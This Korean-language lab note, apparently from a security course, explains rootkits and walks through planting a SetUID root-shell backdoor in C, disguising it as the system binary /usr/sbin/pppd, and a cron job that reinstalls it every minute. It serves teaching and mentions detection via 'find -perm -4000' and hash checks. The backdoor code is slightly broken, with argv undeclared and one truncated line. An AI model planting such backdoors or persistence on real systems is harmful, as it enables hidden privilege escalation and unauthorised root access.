공격자들이 공격을 하기 위한 일반적인 순서
1. 정보수집
2. 해당 시스템 취약점 파악 후 공격
3. 백도어 설치 => root 권한 탈취
4. 로그 삭제 후 시스템에서 나가기
Rootkit
- 루트킷은 'root'와 kit의 합성어입니다.
- 컴퓨터 소프트웨어 중에서 악의적인 것들의 모음
- 시스템에 침입해서 그 사실을 숨긴 채 차후 침입을 위한 백도어(Backdoor), 트로이 목마, 원격접근, 내부 사용흔적 삭제, 관리자권한 획득 등 주로 불법적인 해킹에 사용되는 기능들을 제공하는 프로그램들의 모음
- 시스템의 루트권한을 얻어 유저 행동을 감시하거나 개인정보 탈취
- 공격자는 루트킷을 활용하여 자신의 존재를 철저히 숨기면서 시스템을 조작하고 컴퓨터에 백신 프로그램 또는 안티 멀웨어(malware) 프로그램을 강제 종료할 수 있음
계정관리
Cent OS 간단한 실습
[root@localhost ~]# tail -5 /etc/passwd
[root@localhost ~]# head -3 /etc/passwd
user를 보면 x가 passwd자리이고, 1000이 UID 자리, 그다음 1000이 GID입니다.
root를 보면 x, UID는 0, GID도 0입니다.
만약 user의 UID가 0이라면?? 관리자로 인식하게 됩니다.
[Rootkit 실습 1] local Backdoor 생성 및 root 권한 탈취
이 실습에서는 SetUID를 사용해서 Backdoor를 생성하고 관리자 권한을 탈취할 것입니다.
Kali에서 실행합니다.
$ sudo su -
계정을 생성합니다.
[방법1]
# useradd hong
# passwd hong
(1234/1234)
[방법2]
# adduser user
(1234/1234)
- 풀네임, 룸 넘버 등 다 패스
user의 홈디렉터리로 이동합니다.
# cd /home
# ls -l
# cd user
현재 user는 공격자입니다. 홈디렉터리에 Backdoor를 생성합니다.
setuid(0), setgid(0)은 UID와 GID를 0으로 설정한다는 의미로, 관리자로 인식하게 됩니다.
# nano backdoor.c
[파일 내용]
#include <stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/sh");
}
작성한 파일내용을 확인합니다.
# cat backdoor.c
문법적 오류가 없는지 확인하고 컴파일합니다. 실행파일을 만듭니다.
ls -l을 통해 실행파일이 만들어졌는지 확인합니다.
# gcc -o backdoor backdoor.c
# ls -l
Backdoor 파일을 실행해 봅니다.
# ./backdoor
# ls
# exit
근데 우리는 root가 아닌 user로 백도어를 실행시키고 싶습니다. 새 터미널을 열고 user로 들어갑니다.
user가 나갈 때 backdoor를 만들어 놓고 갔기 때문에 본인의 일반계정인 user로 들어가서 이 파일을 실행할 수 있습니다.
ls -l의 결과를 보면 일반 사용자가 실행할 수 있는 권한이 있습니다.
$ sudo su - user
$ ls -l
$ ./backdoor
# exit
방금 전에는 일반권한 밖에 없었는데 root 터미널로 가서 특수권한을 부여해 보겠습니다.
# chmod 4755 backdoor
# ls -l
다시 user 터미널로 이동해서 실행합니다.
id를 확인해 보면 user의 UID는 1002, GID도 1002인 것을 확인할 수 있습니다.
이젠 backdoor를 실행하는 순간 관리자 권한을 탈취하여 관리자가 될 수 있습니다.
$ id
$ ./backdoor
# whoami
# exit
#과 $의 차이는 #은 관리자, $는 일반사용자의 실행입니다. 일반 실행할 때는 아까 만들어둔 함수 setuid(), setgid(), shell 실행하는 함수를 사용할 수 없었습니다. 그러나 관리자 실행일 때는 이 함수가 작동합니다.
!!문제점!!
user는 자기 홈디렉터리에 백도어를 심어놔서 얼마든지 관리자로 전환이 될 수 있었습니다. 이제 user의 공격을 끝났습니다. 여기서!! 서버담당자는 주기적으로 특수권한 설정된 것을 점검하는 것이 일입니다. 불필요하게 특수권한이 설정된 파일을 삭제합니다.
root터미널에서 실행해 봅니다.
# find / -perm -4000
일반사용자 홈디렉터리에는 특수권한을 잘 주지 않습니다. 그러므로 서버담당자는 그것을 삭제합니다.
[Rootkit 실습 2] Backdoor 숨기기
user의 2번째 공격입니다. Backdoor가 마치 시스템 상의 중요한 setuid 파일인 것처럼 위장합니다. 서버담당자가 발견하면 삭제되기 때문에 backdoor를 숨기는 작업을 합니다.
root터미널에서 위장파일을 조회합니다.
# find / -perm -4000
/usr/sbin/pppd 이 파일을 위장파일로 사용합니다. ls -l pppd 명령어를 통해 pppd파일의 소유자가 root이고 특수권한이 있는 것을 확인할 수 있습니다.
# cd /usr/sbin
# ls -l pppd
# ./pppd
user 홈디렉터리에서 진행할건데 ./backexec ( ) 괄호 안에 매개변수를 받아 그것을 실행하는 것까지 진행하려고 합니다.
Backdoor 파일을 생성합니다.
./pppd를 입력했을 때 출력되는 값을 복사합니다.
[복사내용]
./pppd: The remote system is required to authenticate itself
./pppd: but I couldn't find any suitable secret (password) for it to use to do so.
user의 홈디렉터리로 이동하여 백도어 파일을 생성합니다.
# cd /home/user
# nano backexec.c
[파일 작성]
#include <stdio.h>
main(){
char exec[100];
setuid(0);
setgid(0);
sprintf(exec, "%s 2>/dev/null", argv[1]);
system(exec);
printf("./pppd: The remote system is required to authenticate itself\n");
printf("./pppd: but I couldn't find any suitable secret (password) for it to >
}
작성한 내용을 확인합니다.
# cat backexec.c
문법적 오류가 없는지 확인하고 컴파일합니다. 실행파일을 만듭니다.
ls -l을 통해 실행파일이 만들어졌는지 확인합니다.
# gcc -o backexec backexec.c
# ls -l
backexec를 실행하면 pppd를 실행했을 때와 동일한 출력값이 나옵니다. 실제 파일 내용은 숨겨져 있는 것입니다. 숨겨져 있는 함수를 실행하기 위해서는 특수권한이 있어야 합니다.
# chmod 4755 backexec
# ls -l
지금은 실습 중이기에 원본 파일은 백업용을 만들어놓으려고 합니다.
# ls -l /usr/sbin/pppd
# cp /usr/sbin/pppd /usr/sbin/pppd.back
이제 정상파일을 Backdoor로 변환합니다. backexec 파일을 /usr/sbin/pppd 이 경로의 이름으로 저장해~라는 뜻입니다. 위의 사진과 아래 사진을 비교하면 오리지널 pppd 파일 사이즈와 백도어로 변환된 파일의 사이즈가 다른 것을 확인할 수 있습니다.
# mv backexec /usr/sbin/pppd
# cd /usr/sbin
# ls -l pppd
이제 user 터미널로 이동합니다. user는 자기가 백도어를 심어놓은 폴더로 이동하여 pppd가 있는지 확인합니다.
$ cd /usr/sbin
$ ls -l pppd
pppd를 실행하는 순간 root권한을 얻어서 파일 안에 있는 함수를 실행할 것입니다.
$ ./pppd "whoami"
$ ./pppd "id"
$ ./pppd "mkdir /user"
mkdir /user로 만든 파일을 확인해 보겠습니다.
$ ls -l /user
$ ls -ld /user
root권한으로 만들어진 것을 확인할 수 있습니다.
실습1은 backdoor를 홈디렉터리에 설정해놨기에 특수권한이 있어야만 실행이 가능합니다. 그러다보니 홈디렉토리에 root가 있을 수가 없습니다. 이게 발각되면 삭제됩니다. 그래서 실습2에서 위장파일을 만들어 그럴듯한 곳에 백도어를 만들었습니다. 사실 이것도 발각될 수 있습니다. 왜냐하면 보안점검 항목 중 주기적으로 특수파일 점검이라는 항목이 있습니다. 그래서 잘못 설정한 파일은 삭제하라고 합니다. 보통 특수파일들을 디렉터리로 만들어서 해시값을 설정해 놓습니다. 이 해시값을 보고 누군가가 장난쳤네 안쳤네를 구분한다고 합니다.
[Rootkit 실습 3] 추가실습. 스케쥴링으로 삭제된 파일 다시 생성
이번엔 스케쥴링으로 삭제되어도 만들고 삭제되어도 다시 만드는 것을 해보려고 합니다.
- 단기 스케쥴링 : at ; 한 번 실행
- 장기 스케쥴링 : cron ; 반복적 실행
root 터미널에서 실행합니다.
# cd /etc/cron.d
# nano set.sh
[파일 내용]
gcc -o backexec /home/user/backexec.c
chmod 4755 backexec
mv backexec /usr/sbin/pppd
# cat set.sh
# ls -l
set.sh에도 실행권한이 있어야 합니다. 권한을 부여하면서 set.sh를 실행가능한 스크립트 파일로 만들어놓습니다.
# chmod 755 set.sh
# cat /etc/crontab
* * * * * 명령
'분 시간 일 월요일'을 의미합니다.
# nano /etc/crontab
[해당 파일 제일 밑에 아래 코드를 입력합니다.]
* * * * * root /etc/cron.d/set.sh
이어서 다음 코드를 작성합니다.
# service cron restart # 서비스를 올렸다 내려야 함.
# ls -ld /usr/sbin/pppd # 관제사 입장에서 확인해 보니 이상한 파일이 있네? 이거 이상해서 삭제해야 함
# rm -rf /usr/sbin/pppd #pppd 제거
# ls -l /usr/sbin/pppd #삭제돼서 없음
# ls -l /usr/sbin/pppd #다시 실행하면 또 생김
프로세스 스케쥴링
특정한 시간에 특정한 작업을 수행하게 하는 것으로 at과 cron을 사용합니다.
명령어 at
- 지정한 시간에 원하는 명령이나 작업을 실행
- 한 번만 실행되는 경우 주로 사용
- atd 데몬에 의해 실행
- 지정한 작업은 큐에 저장되며 저장된 작업들은 /var/spool/at 디렉터리에 저장
(실습) Cent OS
[root@localhost ~]# cd /test
[root@localhost test]# at 23:56
at > ls -al > /test/today
at> ctrl + d
=> 23시 56분에 할 작업인데 ls -al 목록을 확인해서 test/today 파일에 넣으라는 뜻입니다.
[root@localhost test]# at -l #스케쥴링된 것 확인하는 명령어 (지금 실행 안 함)
[root@localhost test]# at -c 1 #스케쥴링 번호를 입력하여 실행할 수 있음. (지금 실행 안 함)
[root@localhost test]# ls # today가 만들어짐
명령어 cron
- 주기적으로 프로세스를 실행 시 사용
- 시스템 운영 또는 사용자의 필요에 의한 작업으로 나뉨
- 시스템 운영에 필요한 작업 : root 권한으로 /etc/crontab에 등록
- 일반 사용자 : /var/spool/cron/사용자ID에 등록
[명령어 해석해보기]
0 12 * * 1-5 /etc/work.sh
=> 월요일~금요일까지 오후 12시에 실행
10 4 1 1-12/2 * /etc/work.sh
=> 1월~12월까지 2개월마다 1일에 오전 4시 10분에 실행
0 10 * * 1 cat/root/notic | mail -s "notice" gildong@test.com
=> cat/root/notic 작업을 해서 관리자 메일로 알리기를 월요일 10시에 실행
0 4 * * 1,3,5 find / -name '*.bak' --exec rm -rf {}\;
=> '*.bak' 파일을 찾아서 삭제하기를 월,수,금요일 4시에 실행
*/10 * * * * /etc/work.sh
=> 10분마다 실행